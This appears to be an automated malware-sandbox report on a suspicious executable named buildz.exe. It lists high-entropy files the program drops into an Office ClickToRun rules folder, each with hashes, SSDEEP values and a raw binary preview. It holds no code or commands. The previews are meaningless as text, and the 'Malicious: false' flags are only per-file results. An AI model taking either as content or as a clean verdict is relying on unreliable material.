Preview:	.<?...Y^...,..C.I...X......f.i..X...M.{K%.......1.....L.#.$.\^.1.;....W.%.&V.n.5-q......HRrPe..l...-L..y..<...<.N),c.'.uc...Y..>-...A.........h..g...J}...".%.......n0{::.5..H..!...z>.....5..Nj..Q.H.s2..<.....}.U.AH....".Z..0C.yPA..V.1.Uh....3:i0.@....ob.......no....!Q..0.>........DjEQhz4.a.)..qU..........1..X.Z.J....v.AMI.\7.sk5\.+`.Y44....'....a. ...U.8.2w../...H...s...nf..;..e..l..\.q..."R.n.X..=A..'YY..6.......Z3X<.........D..E=.l...c..%.K.e....E..n.2.C>...s..[ZI..C.W.eR...-..<......0...J.s.../.%.u}.%'...H..."~.D.IM....c..Hk.omy.8.a....t.!I.8w)3e...l.CiM...m..._.BeV..K............6..z.4.LB....Y..X.b<..Y.......IJy...f&rX._z.....`!..%].t.V.:3.....k^...L........j..md..w2?.a..Z...... .@...6..[........Iie;s...za.<..$.0"..{.Z.6.ye..em....I.........iyG.qf.+..k..4".D..j....K........tGlXJ.q.._..y...k.5"}S..%Y.4km..ET..U.2..'.].q..1..........7.c.N.\......?7e.B.e.j.9....ulX..m.T..'$=..c."U#.kr....<~..H)*..G.......O.n..G....J.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703101v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1727
Entropy (8bit):	7.878835746969809
Encrypted:	false
SSDEEP:	48:3VFhbCtF4sc+Ak+OAyfEB/vqQPt8ofa8tHE8AhID:lzbsTjvc3NTtEg
MD5:	58F3D1AA309406F92C07228985E5BB98
SHA1:	09C0CF89F190EE70EC36DBFF867623A4B9D12AA9
SHA-256:	0CCAB069FB7BC4DECE649F2A16652C322879275477ACAF760F5323E6D2468D9C
SHA-512:	6276618C6F680CC0C8FD680197997F8954CDBCCAE535BDC59DB763A9B21B843BFD3541470E05EBA60002F8115CA6FBE5C3F51F69B4746288F2A2B54FC6F7DC39
Malicious:	false
Reputation:	unknown
Preview:	.<?p...z\|.c.y.L"...%.....z?P.p#D...=Ze.&...Jj<....i.aA.pS>...5........k.......X...........%....hL..DjN..P..q.+...#Je./.....(h..B...Gw...}S..6..;....{.G.&.r..t.mm.w.87.H)m.yWR.us.....P.-.....P..>^.U.Yg....wO...x.@.d...2}...G?3.)b..v;.{.[~...../.......YK.-.fe.=..W.#,Y'..Re.B...VM.....%6.M..hn....n.%..........po...r,...............O.H!8h~..\..+.!...s...x.+\.-C...Y.>c...05i......n..b.jI......IT......d..].TL..~0....K1..&..j..#.T...2.@......wa.s.../>.p......Y.bx...cN.....DoT.....p;..g.....Q.<.X...B...g.F.e6.\|y.b.R8...P.l.......4..e[......t..D....9...+..h.Ipj.!t..x^iBw..A.O..q..B..a,...Z..=.../\..@.PP..X....Sb.w.G.e..Cn(X..?._.;..:.J...^.5.. ..GZ.j..\.....F...9_u.bh,..ab.~$.UE^..3...b&R.. v..de..! .W..`@..:S...Y9(..%\|.3.x...-b .3\.........V......).......G5..~.N'...qQ...Z..l.`@&Kz.va......z...lX....v.A.%.U...\|.*mR...............).....5...=.X....0^<.B.U..!..P..^.M....~\O..Tk..!`&.I.(tI....8d.W........2L_.r.x2..a....}.D....`Ic[.O..O.....q\|..>)...;K .

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703150v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1708
Entropy (8bit):	7.893014593525029
Encrypted:	false
SSDEEP:	24:oWK3Ksk86eEzrPDF7kwyh9ynsJFOeJA7t1Ub/dXHBMAoaKJqOp/Fwmp7vOV62i5x:KzXTusEp1w9hMfEOTvAv/gD
MD5:	79E8C97EE040CA24A0186BE4F27011FF
SHA1:	5FFEB32CE3168A889DC5B437DD672AE2660D204A
SHA-256:	F7B6E5A2183B1DA9C837F5F95B6B30AA3E896BE35B68FCA88DC1B18958BA9CF8
SHA-512:	2A8D7CF57ECA9D00E027F44A887A9F2C7957D995E4A54042268EE262611CA402874E0E296572D1F6080540449E3A6075892034100C670A73E5958612AFFECE77
Malicious:	false
Reputation:	unknown
Preview:	.<?dSg....{.'sX.j8.2...=.+L.../....."...M#.Ns........k(.A.-..]...gD.I....@..l..e.Q<.v.9..(...M..J.......=..(..!,.0.+..YBb.m.+.....^m.@j1._.....+.....m.;..e.w.,y.9...%7,1c..8h....._)Nl..y]q..$.d"Y..O..Ai.......%vi..O...F.s;w.X..@./.~?5TZu......6.Q$...<...K...;...t.D...2......$...w..........~...;.l7.T.&.z`+..oR.a-...n.D.Dx.`...'...p..d....].Z.iK...L.....C`^"z.......yn.P.Z....>\|p....HQK2.....E+G.\..1^.].0nk.....4.....5.......P..F.X..ms...'R..... ..y..p.0..zsm#".}...:.C....=r4.0.v.....UC..e...._(ZA=..q.'........ ..j.\|.4;...e<.q.....@+V...7.8?vB....Eb......1L...sQUr......Z)=4....V1..Oj....r.6d...i..P.....(.l.R .A^`ME....zZ.I-$. #<cqo.........B.<.,...s....(.[.k...JVF.,`N..i.c...<....v.].l.U..a.`...c....<..2......o.?t..%D..b..e.q....H...d.7......Fi.h.I.`J.T..T..%.\ ....zN.4.u.?=..~X..ef..<.Sh.c.@..Fn.\.....Ax8.A..?......=..v...[EL8.W.....3..........?~(...:....7`Wn..(..X^Is.8....q.g8.....=...N\|...>n.d..0c..q$.MvU.....UCF....nL.v...DR.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703151v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1745
Entropy (8bit):	7.87367701196843
Encrypted:	false
SSDEEP:	24:+p37r5WVfcCjtT1Uit9BtPULaeKVXi9CpNhBXhekQ/SHKD9M3zSYXZgXzP2thMbD:AE0WtL1ULVKBi9CpNhBXICHKCmYwbD
MD5:	F6B2503C4287B9133CAF4667FD1CB4C4
SHA1:	A5A4A06139A7204E21919BF162317305F918727F
SHA-256:	77E6509784DF2212A75C4F36C0BA4EE5659B7F59CBDE657BCECD595A3A2FF56E
SHA-512:	E2D95DF5A107D016C9D750C3BFFF9C4AF598B2F6A166CBBDCDF0208CF72778DE281AFCA8AC087345F3B7F373EF40AF3D4646E5EA59067F8C34F55284764B7FDC
Malicious:	false
Reputation:	unknown
Preview:	.<?.!.n.CV.@...{z.`...E.V...b.......:.F..@h&%...)....GU8...N.I.p".Rg.Z.V.5.5.X...E..aUv6.>\|l..Y.g...j....{.F..:..>.....=h..mjW..9.t..yg..6+;$..~....}......,...x....W..VoW...d....@[.......J....i....SM.IPvZ...9.AT.zS'.......r..\|..;,4?~(m.7.j.'....Z2Vz..#j....]>K..&...1R...\|..kYH.r.G?.Z....pYl.X6.!1.. >.......-Uq.{6....'.e...v...j.(.r.{.k.=.].}.,..;.}s.n.U"........9.DC..?...s.p.-.......e/...[b.L......i...m.@.....S....O...Y..!..;U./..\....Y......rE.L=...K...G...p............\|..8..%...]_`.v....CA.N&)..;.=....d.RZu...i..V.a..jo.~.6~......o.u....{..}{.....$3w_.$.>5z.yha.x.0...o'..~@d..C.......5.^.UG.G....n.O.F.W..<...V.J-...x.&..-G.....)....=q...[zY...l...w.a`....v.,S./..n...)..PZ.]..T....E.l>..G...'..o.8a..Y..8..&;%. .&..~&).>...(.d%&....Z..G.......v...Q....\|hF...:>.n#I.N.......5.8.w-.8...u.....t.z..F]".....=..W[.".SP...A.ESy./..6-R5>^....r..i".\..4 1o\|.:..!I.c/oTP.W./'."n.7B..b..Eb.c+ ....i..,W..GT .U..0.Z....9...=....Cb.!....gJ0Z.Ju..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703200v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.88574137241615
Encrypted:	false
SSDEEP:	48:CdtLAz8qVG/WK86QCm8TJWray/YkEvBFZlOEVon3D:Cdt0dG/4z5/Y5ZFv/VY
MD5:	43BC1FEFD574210DDE45FF9EEBC8D09F
SHA1:	5D61A06B42A4D7015A5270514F31613D0FA96C27
SHA-256:	72EA130724786BA741EA5F819D131F024937EA5631ADC66EC4BD780CBAC8EE94
SHA-512:	87C56C8E5C341D63C039090DF8731E2BE68E66FEF13E4172BFA5000F686314828D5B3C72D3F9C14C7B679DCA56D42AA95A19A52B730524A1DEDE3CF42FDB7EC1
Malicious:	false
Reputation:	unknown
Preview:	.<?..(?Q../.3....m...d.U..........V.X.......Q...:..}..ER.e3..Yf.ub..}.9W...M...k.${!.5.....N...5..a.Y,...9P.vo...G.. ...w +.....G@.....h&.....0x.q\.W.._..K.s@.# ..rW.)r ...X.R.5...B,...H.4I.Z...z..a......^7.HL}..ZJ....2M....YH.(...p.*kD...Si....jTe..A..........?.sr.!f....4k[.g7...GS...tX..>.....x./.._'.h.Jo.(.....}......)...Y.VQA-r........Tk....)..3..3L9&.$..A....KB.?.Jg.u}.a..r..d..._..Y3BS.#.......#..n...(&~..F..1...a.^.aQ..B{.7m,...:.w.g....... ..f...wa ..1o$........ro....uCA.E..j....q.i..!.eF..[....l..R_....?....<..O.Wh..JC..^....E#...........o...j9..P6r.e;.e......\|1}..y4.p.vx....);....F~.Cj.\.\J....~.J.6@......>....If.......S..9p...pn.4}.<..n..t......;e......L..[.F......VQG..p....G]...........U.9...\|.Q#.8....D..P;...5c...r.Y..fwd...rJ....+...}b1....k...50..4..@...w.w..~..2...-.=.x.....w.1...K..H.G.Sr.-/...).......UD.......".K.s........'...d.Xz..=.Q.....Y.......:.:.gG...O[..1..=.X)".....B....PH......n.$^.y.......x,.SE-..a.Uc?N..L.......~.'r....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703201v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.87370995031265
Encrypted:	false
SSDEEP:	48:QSXvpp5Op4sVFl9dIPN2TzZQPUYB3Ieb7SC4D:rXvpp5GdrddcIeX6
MD5:	D088EF1A78ADD07B533F0531F14B11D7
SHA1:	A541DB79DBACD0B90ACDC58C4AB153DF9E4CDDEB
SHA-256:	A1F46AD989585C3A8ABF87B6DF6AD68E40713D147C5EBBAF8F1844193536D4C9
SHA-512:	DC5F3B2E07B4B0982416BE4A00E87AF249C2C8D90CAF752B37C82EA7E5B9246AC863E8E65D4763C27EB47263E181F4951DB036429C5BC4146FE76BF3D2E94DB1
Malicious:	false
Reputation:	unknown
Preview:	.<?..F=.H).............b.%...Iy.$.........-.....i......14Fs..O.........q.O,tp(....T.x.<......M...&...Y.$UGQ.1.as.!t...5:..C....Wl....{.8V...3...zj..^a.l. ..-l.E.b_....V..;jqGFO.1..wR.V....\6NX8...X.....Q../..>.........5....>.."ox..xu.;_l2I.....=.}..B.W).ld.....8U.............Yc......Q.`dNpYl<...zr..~.........W.C./..j.3QJ...!c....b.f...P.V-.T..t....r.3.q.r^.{...Z.[... . ...f....7...F3.l+D\|........r.x.p...E.v..E..Hs.)...U.".4Y..u.a...g...{...M!..u{.8...y.U.t...$...$!.O..$.lr..B.0)....l56D=..%Z..b.W.&...kT`Y^..&O&.ES.!......nl....T....I..j..%HXF..F.^.?.mJ..7..%....."`.5...A.`yY..?I..&.6.b...V.^.0qA.S..<.?Z..}#vp?C.1....i..&u.]..U.._..6.....g......HqK...5......OD......Q4.P...jK...$...s..&...$.5jG......R.(..".i.\g..^v5P..!..8r...1..Z//f.......=...B.Zm..v..x..}..`.p...}.+..k..F;...`8....<L.<P8&M.....-..M<+;..Cl....C.{S.E.&.=.j..ro.....Q ......s......7$..._nm...`.y...'{(.b.......@...H,..........1..*3.q\.>.......".?\|^...J...K.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703250v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1694
Entropy (8bit):	7.877721489483852
Encrypted:	false
SSDEEP:	24:1pWWOzIrS8P+BXMhzcCyEKL6WboFvYNKsxTIQcCASqxkOHpkyhTWspq6j4epYmDX:HWWOJ8hzcZoexpcaU2yhWsg6jRXD
MD5:	1CDBAEAF2449315C83B1815CFCF14823
SHA1:	F79A83EB3C8D390FCDF57C03AB6BB3DD962EE07B
SHA-256:	515E86A73D6953C5F767C3E31662787BBDADA1944FFA18CB6C9C7A2A282A2B97
SHA-512:	EA9AAD4C8C240580E5C69EDA19814E2C2BAB6E8C5760B7BD8C61FFCCB554E6866BD40592EA00D6870AD4367C08152C1B8EF89ACFBF9F9A4938D93D94063F4552
Malicious:	false
Reputation:	unknown
Preview:	.<?.o......S.vj...u:........2..<..[MY.J1.f-.!SI..l.BJz..^.L.zOda..r.`.!7..C....r.j...I.Wz......{......Vv....m4m....e.....\|..i.w..8S....#...i.f0.p8....I.,........Mf.....!.../Q..2.."7.am......D....6.e.]..... .M..=_.+.g.\3.H0%.....b^...<.+.9$..6"\.H9[.....=.-v.@<)..qZ.7Fu_+..U......8....3..w....)8gU.z..F.I..D.f.j.4.D.bJ.F..'.a9u....E.....{V\|.....29.....].B...(...y.C.&..YS...p..>.g...m=.......F..z~.f.....f/....v.E./u#.....9}1......./f.R.sh.......TMb..\|....E...A!.v.sKW.....w..u.2...j.U$...k.fn...,.BT....N.....m...S..k.t...3.bk....'..............kj8r\|Q.-&.{(.2.;~.B......!.`....s-.M6.....h.U?..R.....n..M...^..y..uG_...VBs..e..J....,...i`V.[0......".r.P.}.....W-c....q1...t)....._.8CY....i.M}.s.X.BR~i.._.3.k-...<O.n....E..&l1a.NN..Cv....Z5H..D.....>.a..*.~...`DL.P...`...R.q,.....c...4^.E..I.js.d.s^..t..Q-.)=.#...`.d..~.IMw.....W..dL....~#w.ir.9.K.%.^..q7.[..^.....\|....&.G.m.......c..[....H....4....^8u....L%.L.R..=..B...-..&.........+.(f.V.w=.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703251v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.8734998767151705
Encrypted:	false
SSDEEP:	48:ms5X9ORNdO7nsKLqiPHap2QV5DLIF5PmaPoZCD:m2cyV+ivawQVZ65H
MD5:	860061676CCD579BEF07CB088A8AC990
SHA1:	261AB72F8D4667FCA4D62052839C0A363DFF0929
SHA-256:	3B4630DA6490605655D8B711E7DD6365804F1D9F9F7A4ECBDF906E2F45DA00C7
SHA-512:	A7A6B9109CDF4651BE1E9FE333C4D01B2978D03E19F8D3924E3A1B6DCD08D42F0DDD25D553D3139F2C966A6945791887C424BE4193549F11380FA8DB9254FC73
Malicious:	false
Reputation:	unknown
Preview:	.<?m.x!.;y...$.2D'e......U,.6A..q...._]cX~V...8...7=!......8.)v.Xj.k0..!.G+..>..?.H}.lQ....R..:..r..cf..\..@...%...ib..;".[...Y..........#P$.......MK.t...........HZ..y.C....\|.tRf..D]..-}.....h\.Jf..,...k....PC>3.8..t...."(...X..B.?..j....l..,...,....pP.. ...F.4ZPo).T2.......T.0.G....#..qT...,...`......h..Z..-n.Fgj..E..l.Y.;3W.....3-.g+.o...iGklgq...@<......;.;..G.......1I....gc.{............8$3..%..u.!....<m"..@o.-.R.k.>..K\|..{>.tI....<.n..@k....;..j#,."<.?F ..!.V.O....\|...M-......n.&\.~f`[....j.+...ou...v.pLJ(....b.....[A./T.\.h:$..s.4.....3...YV........g.'Bm!..$.......q.._...W...+...].....n..1v8K.X...T..1.R...2..Pe....I#.U$$..A.I?..U..^..&....@.,JN.....5.....-Y.....&..... .v..B.J.uF..P.dr1..82vw.....D.!,2...j>.L..Y.._/..~\82...^o..J..@E.E$...`e\:G.f...@.K...^.59....B...I8d-?.......v.....o.l.:.7.>..gC. Cy;.4..`U.....*!Pt!1..&!....C...3.'.b.q.G.$c.7..(+..s.Z0.[...1~12k.#..P...h.W.A....--.4....s.T..XU.g2.h.$......-...".7sH]...tX5..}D.j/ys.p.B.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703300v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.88247596381273
Encrypted:	false
SSDEEP:	48:lXlFAc3SCZf50o/5XRk2DPhaMVQNc70TEPbntrHSWBeID:bFwkW+5XGuPs+0OgWB/
MD5:	2921D50C4DC385C22CBCCCA20A1985FD
SHA1:	74DF97B656400309AEDB8CCCC05A5B95C0D09BEB
SHA-256:	104DC9DC69EFB169986A5F1B1A3BC604BC17335B6F0ED5A47D627FEE92BED0E1
SHA-512:	CD2A9566A010BBCDB59D7EEB92A884B3CAF1AF6BD7B9C5EF555E7FA3EB5DFFEB0F4B3A95B384FCC0BDFE678E4D4F9DF515E29BDF3044DBEE7213463819012C30
Malicious:	false
Reputation:	unknown
Preview:	.<?.%....ep.!}.S..........sE...X..@. [Q........AC.6.P.......B_3S......_&.-...`0.,.NC(............N....~.G..+.`.W~.1}.Q.1...'...!.?.....tX....E....0w....A......."i;.=..f.....\..,;....W>...ekZ..^.Z...........6...P..q.)...MjC.WK.0."..5X...5..$.[8B.(......d..{.H/I.qm;...S....vp...~cu..,...>`.../.gd-..J..J:..".#.....VN...'..i`C...3.H...y..o.....oF.....I.{..E.:.C......\.8..%.\|....8..A..d.pq5..xR5.........\K...B...c.+Z4......m.../V*P].$=.)Z.!_......P.T.z.._....bi.f....p..m\b....9H7..i.c0..Lm3..%4...d.3.aSo._.....wPu.._.9..v.Q..U.G\(..$....[.d.Gy.j&.kv..C....1.. N.v....y .u..az...I.\|j%.x.........A..z.L.z..\.D...{{.Z.....{+...[.k@i..C..NVJ..#...v..._....QW....6..f..8..2.o.oO_.2.G.........l{.....B'u.^\|...9<}.l.D.<.+....B.K..;...?....<G....\.`.2.s...DO.8....4..N.1BUF.g[s..:rB..#Dn.....".n.>[..xK<....m.....x.y.....Z..}.]l.(l...v..;l.@....o9..5#...ic.~...O.?...%...p.k.....4y4....h......W59..$.4......I ..By\....$0L..jK\..=.xc...PH."z7.....\....h&'m.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703450v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1706
Entropy (8bit):	7.898800372272601
Encrypted:	false
SSDEEP:	24:Ml/R4U4IbujeZKF3F9FP23FvpboC18pmm90BRreGKVMoZeou4EfJAhGN8dH+Zh49:GzLKjnMvp71jm90v9oxuxfyGAH+ZhB+D
MD5:	36ECE5B0F1479E62CC06F80307DEC58C
SHA1:	9BC3A59185F975DDEC81E6D7D2D883903CE8D96E
SHA-256:	914529B48B2E061DB6675003DF2117B57DD5BA3F966C6FCF70460D179397F805
SHA-512:	B15D3033B1E230C2B7AC1544F8CC03FBA8AFDCBCB57AAAB7C3F66CF02DFC38263B409CFB8FCB24FCB4448B06C89D61570331C1BF8BD1B53C2E5C7945CB75DA7D
Malicious:	false
Reputation:	unknown
Preview:	.<?....O..........)...9.jI..p...UW.PrJ?..+..(.......8/d=.uS.....~.%..U`\|.6.....C..%.zP.nwj.<-WN..c..e.Dz..8...@...CsL.V.0_CG..4.....l.J`........u]w.j.r.......`B@8r.V.9,....U.y.Px.M..A...].{p.1p....?..S..Q/]+.(...HL...DL..E..X....V..<......YD......H...d.K.d..=......\|/...]s(.........:.u.8.N.l.Y..MH\...N.m.t...L.......]\P..L....l..RUG.@.V.i.L...L..v.....<.}.>..4....?.O3....._...Z...y...z..)..;!&B.@..B.R4..5.br.fr.C..C...,h.....G.....I..)}.L.~..J.o...&\.9..Jd....U..J'q}..).....e...m..ykj.g...;..=xu@%..../.e$.R.&..a..#.I9.....)b.}_(.k....Y=e....w.x..4..R........V..'e5X.....yC...W.w...e...J.5*bk.WS6..$.....k.X.....:%.S\.5.X..+..F.+7}.}........#R..1..Q..+...Y..X..Y.w..1...#....z.._. .....3{..B...I......3...........m.ol.^.;.m.tf......_.h.\|b.4d..x.E$.<K.w`......2.....O.z.....#W.%.j.V..u.<w.....(q.....>..)..^>5.]J.Y........B..L.............h..1...z..=9_..jl.u.:9..@n..N.v.A..U.2...Cv......q..}.a.....G0...^..+.S....e.i.$./E..<(..\|.y.&@...x...'L?

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703451v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1743
Entropy (8bit):	7.898376326644107
Encrypted:	false
SSDEEP:	24:peHBV139IM4erzJvSDcUmAxevC8NRtYVOWn9I27dCdsN5zgjNmJpX303zGivzVEx:IHD1OMJrcjxeNRtIH5UM1HJgGid+D
MD5:	EB6428539E4A7E0CF2DC052AD6E607EC
SHA1:	DA3A96FA363A9D790C04F6F4E6888F02AA83DB6B
SHA-256:	165F010FC7489E33F6CCC7CF209F4A7CADB5332CE2DFFF100CB4B7AA935C2268
SHA-512:	D5A31F9557AF522E2736F68BBAF30192EED4BB6C2C4FB53215897989EAC80F3FFFE1F88506EBCDA8DD031FCC348C1D1614F2784094438EBA0E1613AB8B1616A3
Malicious:	false
Reputation:	unknown
Preview:	.<?/.d.Z..".....os.4.t..)}s^.~..v..2........z......[.....$...u..}..n....T\.m..s.E.z..4og+n...].2...A.-1+........y.......5;..%...c30......<......S...G..-\.(.[/.}.....zl.o.I'_.u...E..........#+M..3..K,.B...3..I..n.)B........[z(.....$........D.r.Y.2dpO......L..A.H. r......._.#TL....T..-Q&6.........]\b~4m.....].W.]../N.RM.Oh.RR..J...q.. =....0.i.r.3E......+...$..^f@....On....x..i?....R...p..C../-..P.L..,......l...n...>.k...C/.<H}(_...`k..N.,..{..5....+Vp9..X.......b.....k..@.RK..Q.a.E_Ek..u.2......a.@.~..G...\6..o.:.x....oJ.%.mvo}.0...O.g.z.J.F0R.UF{....f..3...nn.Ny.r7..6W/z...F...T.n.'.$....y.m.......p.6...'..-z..c...T..^h[..X...J.....]...Q.5`...v...lO........6(..2.J_S.+b.&..$.`rQ...........yR...}......S..I.(..r.PG...zR...@..R;.]X.I.9...3.$..Pg~....\..O..K. )o..zM.l.".>6..;.j..g..SP.}..f.i..".p....~x.z.....:._.y....Y.y{.......4..O.3}.+..Qu....fV.F..@~..]%.....U......:..-...K.R.._f@D...0...}....2..-.,Z...9...o....!.Cg..d8. ...>

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703500v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.879852733411705
Encrypted:	false
SSDEEP:	48:rhbIHdKodOZDBLGgndeBqpJal5jHOd7ERjL/BcSRYdD:rRSdKDBL5nJJal1MEASRm
MD5:	DE60674BB3C0E0BA293E104F701F106A
SHA1:	EEEAE76C1C29E37CEF8E42D10B9E1F6244FD6960
SHA-256:	8D7EAEF86EC36BD7BD83253EE341CFD469A4EA9C306831C8C44BAB19365DFF93
SHA-512:	0F52AFF403722F0861B939CEA7EBBD492A17C23115634BFA3160E6B101365DBFC76C86A281A9CE35976816DAD6F7910BD958036D73AF4971CCAF8385B7B3419A
Malicious:	false
Reputation:	unknown
Preview:	.<?,...&..1.a[..B.^...y.WoF.....W.K......fL5..0.r?.eg..>k.I.....P...Q.U. .c2._.:4.........^.3.....,2!3.4..V~.B@..Fd.B>...\|..(N.fF8.....F.f....s!.!.l.D(..$....>..6A...;..........^.J.w}.5.tc....kog.J..j5...[....j.E...U..E.C..Z.mn...%.<.../.Bm.X.Qy7..]m.y.&.........'....q.\..V.G....)d...:..O.t."]( d\|f...Tc.z..c..G..V...{..1.!,.X...\|....[+....V.....U.vX..z...Y....!.....vh...d.vrf..S..'...... `.^...&...'....h..J.k..(.jM.!.B=_.\|.........9..c.3.8.j...L.c.....Rw.dl.mT].,q..Mm./%x~...[#"...cZ.t$.O\|Q..l....=.H......}.. h......\M........1...:lc....@!.8h.h.8\l...W...M...%....X$....f......n.......{.Nj.R._H...!..L.Po...R......<~..r1..=.3.. 6i...w.g..xa.....+..j......%>.,..-..t....+\|..v.....Sk......l...W..Tpx....r!.d.V.....{.?.i.HG.EV5.......]9.....b.)Mn.........Q[..x....!.l]......`....3.>m...8..,...o.x.FQ..AG..-..../..B.....&.$^?l..SJ.....-W...llP.........\!..m"....d.9Eo....^...sH./.ES...t.:.(.9.$.u .}..2....X......?.a.K...7@.#.$\.`...25P.%l+./CU.@.+...\|@..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703501v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.882106731793132
Encrypted:	false
SSDEEP:	48:NdV9wmOm8EzmUdlWi2ohg0jA6qqelVTjEbD:NR0m8Ezvl7P1+lVTjEX
MD5:	0F491A8D94EC3B605D8583CDE51FFA58
SHA1:	88F4F9A217775F85FA908B07CC4D27BC564D81CC
SHA-256:	0FA68FE5C6802D1321F20A0D87157FD61E676BE2451A5DB93C1C95F7EBBBD5DB
SHA-512:	4EF1ED526E4FFE0AEBEAFF545E96A90D52F78291313E37058F6CE605E38610D48E8DCC7B8B56D1CBC31D3011414423CD4D6230F8B7C13EEDF8E793D995DD5F41
Malicious:	false
Reputation:	unknown
Preview:	.<?.B..I....b..#.r7.1GH..qr......WF..... ...a.../..P?>........E.....N.......v..m....4o.T3.....2..J..9l.DI.S@..PCHh.1py.`.....f.5..2#.9Q....t........O...^"jK.5S...R.7.5..p2.x4.T.uh.....1b...$.x...V...$.x....tRf.UK...(.qx]tw.b.-i.....Z.2CM.......k.Y.._.....>.....v.@Y.f.r/zG..:.u'y...2.9MyJ@........1.6....:^VD/..C...B..TTnMT.ob..E..1G..c^@[p!d....$....V.4..Y...T........x.cZ.N!v.)wi...C\.K9I.z\6.'..[..../.r2...\P.b.L.m.......EU..B.t.V.<...Y..?J.b8.v.P.......j.b.d+..b........l.q=..w.P.,I.7.EP...:`/`...0.+....Y...L......P.f..#.G.6....._e/.PXI;...`..Yt....H..P].w..i.S......)..qz.W....'...V.6.~.iZ<...1.}t..y3r...oF.l....v....-.....jI.$V.......i..^fv. P...".RA(.P'$.C.}.....C.\|...>~........O.A...7.w...+.Mf.Z.uh.;..<.ICD.>.....~..vm..-.\...#.WX/...l..]K......>o..T.e/...w..B..J&&........H+....7#.\.....{.X$W..U..ipylJ...1,v..Z3.p.f..p...^.&{d.A..H+.o..fV.sa..{D..@..X.a.*.kP......^.@.....=B.xh..k\|.......-..Ta...f..7fT.GQ..N`+4UIX..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703550v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1706
Entropy (8bit):	7.878739231566202
Encrypted:	false
SSDEEP:	24:sxYa14aL9INYDgHldSAaOTH2y5gCbxzBpYRgdSXHMzIFPnp6MfPY5W3+u3x9eKXQ:sx5pkHWAHWUbPp2wkMzeTfQ03WGcYCD
MD5:	FF8D619E68F4252EA0A15D54781A5E22
SHA1:	FD73535413FE0441FE7D51F859951778122DBCDA
SHA-256:	C29AF8AB58D1A4FEAF2C4CAA8FF963E11BA3D62A39EC22B2CC6522FD029F116F
SHA-512:	80B3CD892C12BE4007BB8884CB63F1011E6F4593A2E96B5DAE6B1A5C77E32424A6A820C7D160E668BB04388C50331E879C5FC131E3EE039DDCBDCA0AAA532475
Malicious:	false
Reputation:	unknown
Preview:	.<?=.5...i~T....s...r......>$y.J...Oe.hU...q>W...;4[Cx,.A\./"}b.......5.l.h..,....M}.E..a.N....y.p\5j.D-.S.Bn$..s..xN.. 8...c.Q.4V....]R...m..z...Mk..6...M..oy..qa..>{s.....1...u,.3.X.x.$m.?c.z.6..{...1.....d..8"......TU..j..OQ...$.70.....[$j... ....pw.F........^.P..:..@8.)K....,._.^.....K.=....Z.."..>...T.]x.....3...n.U^....,..zwF.C\|.f5..H~....o...Hs!.;...]...FH..y..O..........ti..P,....<qF...U3.....a,.uZ..-$.W.....9).F^]....`.V...E.V....B...y..]c\|..4..a..`....,.]b...P.NyG..o....!....A.......-..X..@..W.>.;mg.Nr....\|`.tT5.0^..G.$.C.........)@..P.....j&.~ .".O..z._.\|..L;..~.+..J....J.sC...D.i.E.K...U7..q..fj...u.d..;u.!.....7..N.f...O.6[.+...IUuV.p.h..%...j\[.3f.[..I..,.^D..T.3.....Q.!....pV.^...p.m./f..X...%.x.29D....I..])0.G..j...P....d.........-.....+........XS.W=E(..^..II.=[..u..v..ZxU.;.B.F.)^.Gz\|..M........;.v......G..C.......\....s'..<.21(C.Q....9.O&...J.....>..k..0`...ccSZ..bT7\|v..o....N.B.....r3..a.....-....2....%*K.L6p........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703551v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1743
Entropy (8bit):	7.888428185887905
Encrypted:	false
SSDEEP:	48:YLfUda/7yr7W4K3deaq5rH1SVefUDBVBZqD:YLfUiia1den5hScsNrM
MD5:	B95437C37916F5E573D8080CA80AD276
